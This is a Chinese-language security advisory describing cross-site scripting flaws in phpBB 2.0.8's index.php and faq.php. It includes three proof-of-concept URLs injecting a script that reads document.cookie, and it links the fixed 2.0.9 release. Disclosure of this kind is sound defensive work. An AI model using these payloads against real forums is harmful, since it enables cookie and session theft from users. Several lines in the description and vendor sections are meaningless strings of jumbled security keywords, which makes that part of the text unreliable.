信息来源：SuperHei
受影响系统：
phpBB Group phpBB 2.0.8 a
phpBB Group phpBB 2.0.8
不受影响系统：
phpBB Group phpBB 2.0.9
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 10738
服务拒绝缓冲厂商缓冲绿升级程序升级服务盟，升级拒绝科拒绝补丁。技服务升级升级漏程序升级洞安全安全数据升级 库 缓冲
phpBB是一款由PHP编写的WEB论坛应用程序，支持多种库，可使用在多种Unix和Linux操作下。
phpBB多个脚本对提交URI输入缺少充分过滤，远程攻击者可以利用这个进行跨站脚本攻击，可能获得敏感信息。
phpBB包含的'index.php'和'faq.php'脚本不正确过滤提交的URI输入，提交包含恶意脚本代码的作为参数，当其他浏览时，可导致基于验证的敏感信息泄露。
缓冲 绿崩溃缓冲升级程序盟程序崩溃安全补丁科厂商，服务补丁数据技数据服务程序崩溃。漏。，洞。拒绝病毒库，的攻击拒绝
<*来源：Janek Vind （
come2waraxe@yahoo.com）
链接：
http://marc.theaimsgroup.com/?l= ... 99024506020&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Janek Vind （
come2waraxe@yahoo.com）提供了如下测试方法：
B1 - XSS in "index.php":
http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script>
&category_rows[0][cat_order]=99
B2 - XSS in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
B3 - XSS in "language\lang_english\lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
建议：
--------------------------------------------------------------------------------
厂商：
数据崩溃病毒绿 病毒病毒，盟厂商数据的科安全安全。技 程序漏缓冲溢出洞的数据拒绝崩溃库 安全病毒拒绝
phpBB Group
-----------
目前厂商已经发布了升级以修复这个问题，请到厂商的主页：
phpBB Group Upgrade phpBB-2.0.9.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.9.zip?download
